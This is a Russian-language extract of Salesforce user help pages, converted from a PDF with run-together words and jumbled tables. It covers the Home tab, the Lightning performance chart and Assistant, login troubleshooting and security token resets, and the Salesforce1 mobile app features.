Ниже перечислены действия, доступные в некоторых длинных связанных списках.

• Чтобы увеличить количество элементов, отображаемых в списке, щелкните ссылку «Показать еще [число]».

• Чтобы просмотреть дополнительную страницу полного связанного списка, щелкните ссылку «Перейти к списку».

Изменение рабочего подразделения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Изменение текущего рабочего подразделения позволяет просмотреть другие записи.

Система позволяет изменять текущее рабочее подразделение и переопределять
стандартноеподразделение, назначенноепользователюизначально, внекоторыхпоисках
и отчетах.

• Выберитенужноерабочееподразделениевполе «Подразделения» набоковойпанели.

Прим.: Создаваемые записи назначаются стандартному подразделению, а не
рабочемуподразделениюпользователя. Подразделениепользователяможет быть
вручную выбрано при создании записи.

СМ. ТАКЖЕ:

Общие сведения о подразделениях

Создание отчетов посредством подразделений
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Вкладка «Начальная страница»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные вкладки и
значения раскрывающегося
списка «Создать...»
определяются
полномочиями
пользователя и
используемой версией
Salesforce.

На вкладке «Начальная страница» можно создавать сообщения Chatter, просматривать
снимки панели мониторинга, задачи и календарь, а также выполнять поиск по потоку

( ).

Принеобходимостивоспользуйтеськомпонентамибоковойпанели (например, разделы
«Создать...», «Недавние элементы» и «Настраиваемые ссылки»), которые также доступны
надругихстраницах Salesforce. Макетвкладки «Начальнаястраница», компонентыбоковой
панели и ссылки включаются и настраиваются администратором организации.

Вкладка «Начальная страница» может отображать уведомления о наличии обновлений
для настольных клиентов (например, Connect Offline).

Изменение панели мониторинга на вкладке «Начальная страница»

Использование задач и календаря на вкладке «Начальная страница»

Просмотр настраиваемых ссылок на вкладке «Начальная страница»

Просмотр сообщений и предупреждений

Диаграмма производительности
Рекомендуемиспользовать компонент «Диаграммапроизводительности» наначальной странице Lightning Experience
для отслеживания производительности продаж пользователя или производительности группы сбыта относительно
настраиваемого запланированного показателя продаж.

Ассистент
Используйте компонент «Ассистент» на начальной странице Lightning Experience для просмотра наиболее важных
обновлений в течение дня.

СМ. ТАКЖЕ:

Навигация по начальным страницам объектов

Изменение панели мониторинга на вкладке «Начальная страница»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Администраторможет создатьнастраиваемыестраницывкладки «Начальная страница»
дляотображениянастраиваемыхкомпонентов (например, снимокпанелимониторинга
илилоготипкомпании). Параметрыпанелимониторинга, снимоккоторойотображается
на вкладке «Начальная страница», могут быть изменены.

Приналичиипанелимониторингащелкните ссылку «Настроитьстраницу» в разделе
«Панель мониторинга» вкладки «Начальная страница». Данная страница позволяет
выбратьдругуюпанельмониторингадляотображенияна вкладке «Начальная страница».
Чтобы обновить данные, доступные на панели мониторинга, нажмите кнопку
«Обновить».
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Использование задач и календаря на вкладке «Начальная страница»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Прим.: Разделы «Моизадачи» и «Календарь» отображаютсяна вкладке «Начальная
страница» только при условии их добавления в качестве компонентов макета
начальной страницы.

Начальная страница позволяет просматривать, создавать и редактировать задачи и
события.При установленном приложении Salesforce for Outlook у вас есть возможность
синхронизировать элементы Outlook с элементами Salesforce, и они будут отображаться
в разделах «Мои задачи» и «Календарь».

Ниже перечислены действия, доступные в разделе «Мои задачи».

• Чтобы создать задачу, нажмите кнопку «Создать».

• Просмотрите список назначенных задач. Страница может отображать не более 15 задач. Чтобы просмотреть все
задачи, щелкните «Подробнее».

обозначает задачи, являющиеся частью последовательности.

• Чтобы изменить список задач, выберите нужный временной интервал из раскрывающегося списка.

• Назначьте неопределенные сообщения эл. почты связанным записям. Чтобы просмотреть все неназначенные
сообщения эл. почты, щелкните «Мои неопределенные элементы».

• Если организация поддерживает всплывающие ссылки для списка «Мои задачи», наведите указатель мыши на тему
задачи для отображения сведений о задаче в области наложения. Чтобы открыть страницу сведений об этой задаче,
щелкните ее тему.

• Чтобы закрыть задачу, щелкните значокХ.

Ниже перечислены действия, доступные в разделе «Календарь».

• Чтобы создать событие, нажмите кнопку «Создать событие».

• Чтобы просмотреть список событий, запланированных на следующие семь дней, откройте вложенную вкладку
«Запланированные конференции». Данная вкладка отображает не более 50 событий на день.

– обозначает события, являющиеся частью последовательности.

– обозначает событие, содержащее приглашенных. События, принадлежащие нескольким людям, недоступны
в версии Personal Edition.

– Если организация поддерживает всплывающие ссылки начальной страницы для событий, наведите указатель
мышина тему событиядляотображения сведенийособытиивинтерактивнойобластиналожения. Чтобыоткрыть
страницу сведений об этом событии, щелкните его тему.

• Чтобыпросмотреть запрошенные, нонеподтвержденныеконференции, откройтевложеннуювкладку «Запрошенные
конференции». Данная вкладка отображает не более 100 запрошенных конференций.

– Чтобы открыть страницу сведений, позволяющую отменять и повторно планировать конференцию, щелкните
тему нужной конференции.

– Столбец «Ответы» отображает количество приглашенных, ответивших на запрос.

– Подтвержденная конференция отображается на вложенной вкладке «Запланированные конференции».

Если вложенная вкладка «Запрошенные конференции» не отображается, обратитесь к администратору Salesforce с
просьбой добавить эту вкладку в раздел «Календарь».

• Просмотрите уменьшенный календарь на текущий месяц. Чтобы изменить месяц, щелкните значок или .

• Чтобы открыть другое представление календаря, щелкните нужный значок под уменьшенным календарем на месяц.
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Просмотр настраиваемых ссылок на вкладке «Начальная страница»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии, кроме
Database.com Edition.

Доступность данного раздела на вкладке «Начальная страница» определяется
настраиваемым макетом начальной страницы.

Раздел «Настраиваемые ссылки» вкладки «Начальная страница» содержит ссылки на
веб-сайты или страницы Salesforce, необходимые всем пользователям организации.
Ссылки, отображающиеся в данном разделе, определяются администратором.

Просмотр сообщений и предупреждений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Раздел «Сообщенияипредупреждения» набоковойпанеливкладки «Начальнаястраница»
отображает объявления, настроенные администратором организации. Данный раздел
недоступен в версии Personal Edition.

Диаграмма производительности

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуемиспользоватькомпонент «Диаграммапроизводительности» наначальной
страницеLightning Experienceдляотслеживанияпроизводительностипродажпользователя
илипроизводительностигруппысбытаотносительнонастраиваемогозапланированного
показателя продаж.

Диаграмма производительности отображает данные на основе возможностей группы
сбыта при наличии связанной рабочей группы. В противном случае, диаграмма
отображает собственные возможности. Диаграмма отображает только возможности за
текущий квартал, являющиеся закрытыми или открытыми с вероятностью более 70%.

• «Закрыто»: сумма закрытых возможностей.

• «Открыто (>70%)»: суммаоткрытыхвозможностейс вероятностьюболее 70%. Синей
линией в диаграмме отображается общее количество закрытых возможностей и
открытых возможностей с вероятностью более 70%.

• «Цель»: настраиваемый запланированный показатель продаж для квартала. Данное поле характерно только для
диаграммы производительности и не влияет на планы продаж для прогнозов или цели любого другого типа. Чтобы

задать цель, щелкните значок .
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Наведите указательмышинадиаграммудляпросмотра стоимостейзакрытыхиподтвержденныхвозможностейзаразные
даты. При наведении указателя мыши на дату закрытия возможности или назначения вероятности более 70% появляется
синяя точка. Щелкните эту точку, чтобы вывести окно с дополнительными данными о коммерческой возможности.

СМ. ТАКЖЕ:

Полномочия и параметры начальной страницы Lightning Experience

Ассистент

Проверка начальной страницы в Lightning Experience: пошаговое руководство

Ассистент

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Используйте компонент «Ассистент» на начальной странице Lightning Experience для
просмотра наиболее важных обновлений в течение дня.

Щелкните нужную запись интереса или коммерческой возможности для открытия
соответствующей страницы сведений.
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В компоненте «Ассистент» отображаются следующие обновления.

• Интересы, назначенные сегодня

• Возможности с просроченными задачами

• Возможности без действий за 30 дней

• Возможности без открытых действий

Обновления интересов отображаются перед обновлениями о коммерческих возможностях. Обновления коммерческих
возможностей организованы в порядке даты закрытия.

Прим.: Приотсутствиидоступакдействиямдлявозможностейиливыключенииожидаемыхпродажотвозможности
пользователям отображаются элементы для возможностей, даты закрытия которых приходятся на следующие
90 дней.

СМ. ТАКЖЕ:

Полномочия и параметры начальной страницы Lightning Experience

Диаграмма производительности

Проверка начальной страницы в Lightning Experience: пошаговое руководство
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Устранение неполадок входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Не удается выполнить вход? Вы забыли имя пользователя или пароль, или вас
заблокировализаслишкомбольшоечислопопытоквхода? Привозникновениипроблем
при входе можете воспользоваться некоторыми решениями, представленными ниже.

Политики использования паролей, установленные вашим администратором Salesforce,
определяют, сколько попыток входа вы можете выполнить, насколько долго должна
длиться блокировка и каковы требования, предъявляемые к паролям.

Для обеспечения конфиденциальностиданныхрекомендуемрегулярноменять пароль.
Если администратор Salesforce использует регулярную смену паролей, в конце каждого
периода отображается соответствующее напоминание.

• Забыли пароль? Восстановите пароль.

• Заблокирована учетная запись? Дождитесь завершения периода блокировки и повторите попытку или обратитесь к
администратору Salesforce.

• Истек срок действия пароля? Измените пароль.

• Пользуетесь системой Salesforce из нового расположения? При необходимости активируйте компьютер.

• Что обозначает ссылка «Использовать настраиваемый домен» на странице входа? При наличии настраиваемого
домена организации, созданного администратором Salesforce, щелкните ссылку «Использовать настраиваемый
домен», позволяющую вводить имя домена и выполнять вход.

Настраиваемый домен использует формат https://universalcontainers.my.salesforce.com, где
компонент universalcontainers — это имя, введенное администратором.

Сброс маркера безопасности
При доступе к системе Salesforce вне доверенной корпоративной сети (посредством настольного клиентского
приложения или API) рекомендуем использовать маркер безопасности для входа. Маркер безопасности — это
чувствительныйкрегистру генерируемыйключ, используемыйвпаролеилиотдельномполеклиентскогоприложения.

Предоставление полномочий входа
Администратор или сотрудник службы поддержки может использовать учетные данные пользователя для входа в
приложение с целью устранения неполадок. По умолчанию администраторы компании получают доступ к вашей
учетной записи без каких-либо действий с вашей стороны. Если организация требует предоставления полномочий
входа администраторам, топользователимогутпредоставлятьдоступнаопределенныйсрок. Крометого, пользователи
могут предоставлять доступ представителям службы поддержки.

Сброс забытого пароля
Если вы забыли пароль, его очень легко восстановить с помощью ссылки для восстановления пароля на странице
входа. Для этого требуется ввести имя пользователя.
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Сброс маркера безопасности

ВЕРСИИ

Доступно в: Salesforce
Classic и Lightning
Experience.

Доступно в версиях: все
версии.

ПриложенияConnect Offline
и Connect for Office
недоступны в версии
Database.com Edition.

При доступе к системе Salesforce вне доверенной корпоративной сети (посредством
настольного клиентского приложения или API) рекомендуем использовать маркер
безопасности для входа. Маркер безопасности — это чувствительный к регистру
генерируемый ключ, используемый в пароле или отдельном поле клиентского
приложения.

Маркер безопасности не отображается в параметрах или профиле.

При наличии полномочия «Двухфакторная проверка подлинности для входов
посредством API», назначенногоадминистратором, рекомендуемиспользовать значение,
созданное приложением средства проверки подлинности (например, Salesforce
Authenticator или Google Authenticator), как значение маркера безопасности.

Получение или сброс маркера
Новыймаркербезопасностиотправляетсяпользователюпоэл. почтеприсбросепароля.
При необходимости маркер может быть сброшен вручную.

1. Введите строку «Сбросить» в поле «Быстрый поиск» на странице личных параметров и выберите пункт «Сбросить
мой маркер безопасности».

2. Щелкните«Сброситьмаркербезопасности». Новыймаркербезопасностиотправляетсянаадресэл. почты, указанный
в личных параметрах пользователя Salesforce.

Совет: Прежде чем использовать новый IP-адрес для доступа к системе Salesforce, рекомендуем получить маркер
безопасности из доверенной сети посредством страницы «Сбросить мой маркер безопасности».

Обновление маркера в программе Salesforce Outlook Edition

1. Последовательно выберите пункты «Сервис» > «Параметры Salesforce» в меню Outlook.

2. Введите пароль и маркер безопасности (маркер безопасности должен быть добавлен в конец пароля). Например,
парольXXXXX.

3. Чтобы проверить правильность введенного пароля и маркера, щелкните «Проверить».

4. Нажмите кнопку «OK».

Обновление маркера в приложениях Connect Offline, Connect for Office и Data Loader

Привыполнениивхода рекомендуемдобавить значениемаркера безопасности в конецпароля (например, парольXXXXX).
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Прим.: Сообщение об ошибке «Недопустимый пароль», отображаемое при входе, может указывать на проверку
подлинностиилидобавление администраторомиспользуемого IP-адреса в диапазоннадежных IP-адресов. Вданном
случае рекомендуем выполнить вход только посредством пароля.

СМ. ТАКЖЕ:

Поиск личных параметров в Salesforce Classic

https://help.salesforce.com/HTViewSolution?id=000182450

Изменение учетных данных Salesforce for Outlook

Вход в приложение Connect for Office

Вход в приложение Connect Offline

Предоставление полномочий входа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Полномочия
администратора могут быть
предоставлены в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
контрольного журнала
настройки:
• «Просмотр настройки и

конфигурации»

Администраторилисотрудникслужбыподдержкиможетиспользовать учетныеданные
пользователя для входа в приложение с целью устранения неполадок. По умолчанию
администраторы компании получают доступ к вашей учетной записи без каких-либо
действий с вашей стороны. Если организация требует предоставления полномочий
входа администраторам, то пользователимогут предоставлять доступна определенный
срок. Кроме того, пользователи могут предоставлять доступ представителям службы
поддержки.

Изсоображенийбезопасности, доступможетбытьпредоставленнасрокнеболееодного
года. На протяжении всего срока доступа администраторы или сотрудники службы
поддержки могут использовать учетные данные пользователя для получения доступа к
данным с целью устранения неполадок.

1. Настраницеличныхпараметроввведитестроку «Полномочия входа» вполе «Быстрый
поиск» и предоставьте доступ ко входу.

2. Чтобы задать дату истечения срока действия, выберите нужное значение в
раскрывающемся списке.

3. Нажмите кнопку «Сохранить».

Если администратор, сотрудник службы поддержки или издатель изменяет параметры
настройкипосредствомучетныхданныхпользователя, тоизмененияиимяпользователя
регистрируютсяконтрольнымжурналомнастройки. Крометого, некоторыеорганизации
регистрируют переходы, выполненные администратором от имени пользователя, для
выполнения аудита.

Прим.: Вы не можете предоставить доступ некоторым службам поддержки, если
ваш администратор установил ограничения, а также в случае, если такой доступ
запрещает лицензия на пакетное приложение.

СМ. ТАКЖЕ:

Общие сведения об администраторе Salesforce

Индивидуальная настройка системы Salesforce
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Сброс забытого пароля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Если вы забыли пароль, его очень легко восстановить с помощью ссылки для
восстановленияпароляна страницевхода. Дляэтоготребуется ввестиимяпользователя.

1. Щелкните по ссылке для восстановления пароля на странице входа.

2. Введите имя пользователя и нажмите кнопку «Продолжить». По указанному в
личных параметрах Salesforce адресу электронной почты будет отправлено письмо
с инструкциями по сбросу пароля.

3. Воспользуйтесь ссылкой в сообщении эл. почты в течение 24 часов, введите ответ
на контрольный вопрос и нажмите кнопку «Продолжить». (Ссылку в письме
эл. почты можно использовать только один раз и не позднее 24 часов после ее
получения.)

4. Введите новый пароль при отображении соответствующего запроса.

Иногдапользователюпредлагаетсяпройтипроверкуна установлениеличностипривходе в Salesforce. Приустановлении
личности также выполняется «активация» устройства. Активация устройства позволяет Salesforce связать личность с
устройством. Активация помогает предотвратить несанкционированный доступ к организации.

СМ. ТАКЖЕ:

Активация устройства, инициирующего запрос на проверку подлинности

Устранение неполадок входа

Использование на мобильных устройствах

Несколько мобильных приложений компании Salesforce предоставляют клиентам удаленный доступ к рабочим данным.

Сравнение мобильных продуктов Salesforce

Salesforce1, SalesforceA и Salesforce Classic Mobile доступны на различных мобильных устройствах, в разных версиях и с
разными вариантами поддержки.

Мобильное приложение Salesforce1

Приложение Salesforce1 — это мобильная версия системы Salesforce. Данное корпоративное мобильное приложение
предоставляет оперативный доступ к важным сведениям, структурированным для ускорения рабочих процессов,
выполняемых вне офиса. Интуитивно-понятный интерфейс, оптимизированный для удобной работы с данными на
сенсорныхустройствах, позволяетпользователямбыстропросматриватьиобновлятьданные. Крометого, приложение
Salesforce1 поддерживает многие настройки организации, позволяющие адаптировать приложение к текущим
бизнес-требованиям.

Salesforce Classic Mobile

Приложение Salesforce Classic Mobile предоставляет мобильный доступ к данным Salesforce на устройствах Android™,
BlackBerry® и iPhone®. При наличии лицензии на полную версию приложения Salesforce Classic Mobile пользователи
могут просматривать, создавать, редактировать и удалять записи, отслеживать действия, просматривать панели
мониторинга и запускать простые отчеты, а также регистрировать вызовы и сообщения эл. почты.
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Средство проверки подлинности Salesforce

Добро пожаловать в совершенно новое мобильное приложение средства проверки подлинности Salesforce! Версия
2.0 — это мощное инновационное приложение двухфакторной проверки подлинности, предназначенное для
мобильного устройства. Приложение повышает уровень защиты вашей учетной записи Salesforce и данных. Оно
было разработано чрезвычайно простым в использовании. Выполучите повышеннуюбезопасность и экономию —
все это содержится в одном прекрасном приложении.

Сравнение мобильных продуктов Salesforce
Salesforce1, SalesforceA и Salesforce Classic Mobile доступны на различных мобильных устройствах, в разных версиях и с
разными вариантами поддержки.

Автономная
поддержка

Поддерживаемые
мобильные
устройства

Поддерживаемые
версии Salesforce

ОписаниеПродукт

Да (для
просмотра
данных).

Бесплатно при
использовании:

Данное приложение позволяет
просматривать и обновлять данные
Salesforce на сенсорных мобильных
устройствах.

Salesforce1 • Телефоны Android

• Планшетные
компьютеры
Android (только

• Contact Manager
Edition

• Personal Edition мобильное
веб-приложение)

Пользователи могут просматривать,
редактировать и создавать записи,
управлятьдействиями, просматривать

• Group Edition
• Apple iPad• Professional Edition

панелимониторингаиотчеты, а также • Apple iPhone• Enterprise Editionиспользовать Chatter. Приложение
• Телефоны Windows

8.1 (только
• Unlimited EditionSalesforce1 поддерживает многие

стандартные объекты и списковые • Performance Edition
мобильное
веб-приложение)

представления, все настраиваемые
объекты организации, интеграцию
других мобильных приложений и

• Developer Edition

множествонастроекSalesforce, включая
вкладки и страницы Visualforce.

НетБесплатно при
использовании:

Данное приложение позволяет
управлять пользователями и

SalesforceA • Телефоны и
планшетные

• Contact Manager
Edition

просматривать сведения для
организаций Salesforce посредством
смартфона.

компьютеры
Android

• Group Edition • Apple iPad

Приложение позволяет
деактивировать или замораживать

• Professional Edition • Apple iPhone

• Enterprise Edition • Apple iPod Touch
пользователей, восстанавливать

• Unlimited Editionпароли, разблокировать
• Performance Editionпользователей, редактироватьсведения
• Developer Editionо пользователях и назначать наборы

полномочий.
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Автономная
поддержка

Поддерживаемые
мобильные
устройства

Поддерживаемые
версии Salesforce

ОписаниеПродукт

Данное приложение доступно только
при наличии полномочия
«Управление пользователями».

ДаБесплатная
ограниченная версия

Пользователи могут просматривать
панели мониторинга, запускать
простые отчеты, регистрировать

Salesforce Classic
Mobile

• Телефоны и
планшетные
компьютеры
Android

доступна всем
клиентам Salesforce,
кроме организаций
Database.com Edition.

вызовы и сообщения эл. почты,
отслеживать действия, а также
создавать, редактировать и удалять
записи. Пользователям доступны

• Apple iPhone

Полная версия требует
наличия мобильных

многие стандартные объекты
приложения Sales инекоторыеобъекты

лицензий и доступна
при использовании:

приложения Service. Кроме того,
полная версия приложения
поддерживаетнастраиваемыеобъекты
и конфигурации.

• Professional Edition

• Enterprise Edition

• Unlimited Edition

• Performance Edition

• Developer Edition

СМ. ТАКЖЕ:

Требования по использованию мобильного приложения Salesforce1

SalesforceA

Salesforce Classic Mobile

Версии Salesforce

Мобильное приложение Salesforce1

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Приложение Salesforce1 — это мобильная версия системы Salesforce. Данное
корпоративное мобильное приложение предоставляет оперативный доступ к важным
сведениям, структурированным для ускорения рабочих процессов, выполняемых вне
офиса. Интуитивно-понятный интерфейс, оптимизированный для удобной работы с
даннымина сенсорных устройствах, позволяет пользователям быстро просматривать и
обновлять данные. Кроме того, приложение Salesforce1поддерживаетмногиенастройки
организации, позволяющиеадаптироватьприложениек текущимбизнес-требованиям.

Прим.: Текущий выпуск приложения Salesforce1 поддерживает не все функции
полной версии системы Salesforce. Чтобы просмотреть данные или выполнить
действия, которые не поддерживаются приложением Salesforce1, воспользуйтесь
полной версией системы.
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Получение мобильного приложения Salesforce1

Способ доступа к приложению Salesforce1 определяется нужным методом работы: использование приложения,
установленногонаустройство, илииспользованиемобильногообозревателя. НекоторыеверсииприложенияSalesforce1
могут быть выключены для организации. Дополнительную информацию о доступных версиях можно получить у
администратора Salesforce.

Функции мобильного приложения Salesforce1: функции, доступные в каждой версии
ПриложениеSalesforce1доступнокак загружаемоеприложениедля устройств iOS и Android, а такжекак веб-приложение.
Во многих случаях мобильное веб-приложение и загружаемые приложения поддерживают одинаковые функции.
Тем не менее, приложения отличаются друг от друга. Как правило, данные различия обуславливаются мобильными
платформами, используемыми для поддержки приложения Salesforce1.

Требования по использованию мобильного приложения Salesforce1

Приложение Salesforce1 доступно для большинства версий Salesforce и многих типов лицензий. Приложение
поддерживаетсяразнымимобильнымиплатформами, ноотличаетсяналичиемнекоторыхтребованийкиспользуемому
устройству, операционной системе и мобильному обозревателю. Обмен данными с системой Salesforce выполняется
только при наличии подключения к Интернету.

Какие данные доступны в мобильном приложении Salesforce1?

Данные, доступные пользователю в приложении Salesforce1, определяются используемой версией Salesforce и типом
лицензии пользователя, а также назначенным профилем и набором полномочий. Как правило, доступные объекты,
типы записей, поля и макеты страниц аналогичны полной версии системы Salesforce. Тем не менее, приложение
Salesforce1 поддерживает не все данные и функции Salesforce.

Почему не удается выполнить вход в мобильное приложение Salesforce1?

Несмотря на использование правильных регистрационных данных Salesforce, пользователи могут испытывать
сложностипривходевприложениеSalesforce1. Нижеперечисленынекоторыераспространенныепричинынеудачного
входа.

Поиск справки в мобильном приложении Salesforce1

Приложение Salesforce1 содержит ссылку «Справка», предназначенную для просмотра общих сведений об
использовании мобильного приложения.

Ресурсы справки для мобильного приложения Salesforce1

Данные ресурсы содержат сведения об использовании мобильного приложения Salesforce1, настройке организации
и разработке для приложения.

Поддержка языковых и региональных настроек для приложения Salesforce1

Приложение Salesforce1 поддерживает практически все регионы, основные языки и языки конечного пользователя,
доступные в системе Salesforce. (Полныйсписокподдерживаемыхрегионови языков см. в справке Salesforce.) Текущий
выпуск не поддерживает языки, читаемые справа налево (например, арабский и еврейский).

Рекомендации по доступности мобильного приложения Salesforce1

ПриложениеSalesforce1поддерживаетрежимдоступностиипредоставляетвсемпользователям (включаяпользователей,
применяющих программы для чтения экрана) полнодоступный мобильный интерфейс.
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Включение или отключение мобильного веб-приложения Salesforce1

Еслиорганизацияиспользуетмобильноевеб-приложение Salesforce1, тоданноеприложениеоткрываетсяавтоматически
при входе пользователя в систему Salesforce посредством поддерживаемого мобильного обозревателя. Мобильный
обозревательнепозволяетиспользоватьполнуюверсиюсистемыSalesforce. Принеобходимостивыключитемобильное
веб-приложение для получения временного доступа к Salesforce Classic на мобильном устройстве.

СМ. ТАКЖЕ:

Ресурсы справки для мобильного приложения Salesforce1

Получение мобильного приложения Salesforce1

ВЕРСИИ

Приложение Salesforce1
доступно в версиях: все
версии, кроме
Database.com Edition.

Способ доступа к приложению Salesforce1 определяется нужным методом работы:
использование приложения, установленного на устройство, или использование
мобильного обозревателя. Некоторые версии приложения Salesforce1 могут быть
выключены для организации. Дополнительную информацию о доступных версиях
можно получить у администратора Salesforce.

Установка загружаемого приложения

Загружаемыеприложения Salesforce1 доступныдля телефонов Android, а также устройств
iPad и iPhone. Приложениедоступнодля загрузкииустановкивинтернет-магазине Google
Play или App Store.

При необходимости загрузите и установите загружаемые приложения Salesforce1 из интернет-магазина Google Play или
App Store на поддерживаемые устройства Android и iOS.

Запустите установленноеприложениенаначальномэкранеивыполните вход в систему Salesforce. Возможно, потребуется
создание PIN-кода безопасности. По умолчанию приложение автоматически подключается к производственной среде.

Прим.: Принеудачномвходеобратитеськ администраторудляпроверкивозможностииспользованиязагружаемого
приложения.

Использование мобильного веб-приложения

Мобильное веб-приложение Salesforce1 поддерживается мобильным обозревателем. Мобильное веб-приложение
предназначается для организаций, блокирующих установку приложений на корпоративные устройства пользователей.

Если организация использует мобильное веб-приложение, то приложение Salesforce1 открывается автоматически при
входе пользователя в систему Salesforce посредством поддерживаемого мобильного обозревателя.

Еслиприложение Salesforce1неоткрывается автоматически, убедитесь, чтопереадресациянамобильное веб-приложение
включена, а используемый обозреватель является поддерживаемым.

СМ. ТАКЖЕ:

Почему не удается выполнить вход в мобильное приложение Salesforce1?

Требования по использованию мобильного приложения Salesforce1

Включение или отключение мобильного веб-приложения Salesforce1
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Функции мобильного приложения Salesforce1: функции, доступные в каждой версии
Приложение Salesforce1 доступно как загружаемое приложение для устройств iOS и Android, а также как веб-приложение.
Во многих случаях мобильное веб-приложение и загружаемые приложения поддерживают одинаковые функции. Тем
не менее, приложения отличаются друг от друга. Как правило, данные различия обуславливаются мобильными
платформами, используемыми для поддержки приложения Salesforce1.

Мобильное
веб-приложение

Загружаемые
приложения для
устройств iOS и

Android (7.x)

Функция

Навигация и действия

Просмотр не более 200 списковых представлений на объект

(только для планшетных
компьютеров)

Просмотр визуальных снимков бизнес-данных в диаграммах
спискового представления

Сортировка и фильтрация списковых представлений

Выполнениедействий (например, выполнениетелефонныхвызовов,
регистрация вызовов, отправка сообщений эл. почты, соотнесение
адресов и просмотр новостей или веб-сайтов)

(телефонные вызовы поддерживаются только телефонами iPhone и Android)

Использование быстрых действий, созданных для организации

Поиск

Поиск записей Salesforce

Уточнение глобальных поисков для поиска записей по объекту

Просмотр совпадающих результатов поиска для всех записей

Сортировка результатов поиска

Управление взаимосвязями и данными

Добавление новых записей и обновление текущих записей

Предотвращение создания повторяющихся записей

Добавление контактов в систему Salesforce из списков контактов
мобильного устройства

Поиск, связывание и просмотр профилей Twitter для организаций,
контактов и интересов Salesforce

(только iOS)

Обработка данных, хранящихся вне системы Salesforce

Эффективность продаж
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Мобильное
веб-приложение

Загружаемые
приложения для
устройств iOS и

Android (7.x)

Функция

Создание обогащенных примечаний к встречам и их быстрое
связывание с записями

Отслеживание последних новостей об организациях

Преобразование перспективных интересов в контакты

Использование пути продаж для отслеживания процессов продаж и
закрытия сделок

Salesforce Today и действия

Использование приложения Today для планирования и управления
событиями рабочего дня, подключения к конференц-связям и
регистрации событий мобильного календаря в системе Salesforce

Добавление контактов в систему Salesforce из событий в приложении
Today

Создание задач из сообщений Chatter

Создание задач из примечаний

Отслеживание, закрытие или повторное открытие задач

Быстрое обновление задач одним касанием: редактирование
комментариев или изменение крайнего срока, статуса и приоритета

Создание и просмотр событий Salesforce

Work.com

(навыки только для
Android)

Использование обучения, целей, наград и навыковWork.com

Инструменты для обслуживания клиентов

Использование функции социального обслуживания клиентов для
отслеживания обращений и обработки заметок Twitter в режиме
реального времени

Просмотр статей Salesforce Knowledge

Составление отчетов в приложении Salesforce1

Просмотр панелеймониторинга, компонентов панелимониторинга
(включая компоненты панели мониторинга Visualforce) и отчетов

Сортировка данных в отчетах

Применение фильтров панели мониторинга
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Мобильное
веб-приложение

Загружаемые
приложения для
устройств iOS и

Android (7.x)

Функция

(только iOS, ограничено)

Предоставление общего доступа к панелям мониторинга в лентах

Chatter (ленты, профили, группы, файлы)

Использование лент, людей и групп Chatter

Поиск по основной ленте Chatter

Просмотр, редактирование и отслеживание записей ленты,
систематизированныхпотеме; пакетноедобавление темв сообщения

Объединение нескольких обновлений записей в одном сообщении

Добавлениефотографийилифайловв сообщенияиликомментарии
или использование быстрых действий для публикациифотографий
или файлов

Публикация сообщений Chatter

Предварительныепросмотрыфайлов, опубликованныхв сообщения
и комментарии

Добавление или удаление закладок для сообщений Chatter двойным
касанием

Публикация вопросов и получение ответов прямо в ленте

Расширение вопросов до обращений в Chatter

(только Android)

Редактирование сведений о профиле пользователя

Изменение фотографии для профиля пользователя

Добавление записей в группы

Использование неуказанных групп Chatter для более
конфиденциального сотрудничества

Публикация объявлений в лентах групп

Управление группами

Использование файлов Salesforce

ИспользованиефайловSalesforceпривыключеннойподдержкеChatter

Просмотр и публикация файлов из внешних источников данных
(например, SharePoint или OneDrive for Business) (требуется Files Connect)
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Мобильное
веб-приложение

Загружаемые
приложения для
устройств iOS и

Android (7.x)

Функция

ИспользованиеприложенияSalesforce1привыключеннойподдержке
Chatter

Использование быстрых действий в приложении Salesforce1 при
выключенной поддержке Chatter

Запуск приложения Salesforce1 посредством ссылок из электронных
уведомлений и рассылок Chatter

Бизнес-логика и автоматизация процессов

Отправка записей на утверждение

(только iOS)

Просмотр статуса отложенных запросов и утверждение или
отклонение запросов на утверждение

Возобновление или удаление приостановленных сеансов потока

Уведомления

Получение внутрипрограммных уведомлений

Получение всплывающих уведомлений

Настройка отправляемых всплывающих уведомлений

Автономный режим

Просмотр кэшированных данных в автономном режиме

Доступ

Доступ к сообществам, созданным посредствомшаблона «Вкладки
Salesforce + Visualforce»

Переключениемеждунесколькимиорганизациямиилисообществами
Salesforce без выхода из приложения

(только iOS)

Открытиебольшинства URL-адресов Salesforce вприложении Salesforce1

Настройка подключений к нескольким экземплярам на странице
входа

Ограничение доступа к приложению посредством PIN-кода
безопасности

Настройки и параметры пользователей или приложений

Просмотр страниц Visualforce
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Мобильное
веб-приложение

Загружаемые
приложения для
устройств iOS и

Android (7.x)

Функция

Просмотр страниц Lightning, а также настраиваемых и сторонних
приложений

Просмотр настраиваемого списка действий на панели действий и в
действиях над элементом списка

Просмотр настраиваемого фирменного стиля

СМ. ТАКЖЕ:

Ресурсы справки для мобильного приложения Salesforce1

Требования по использованию мобильного приложения Salesforce1

ВЕРСИИ

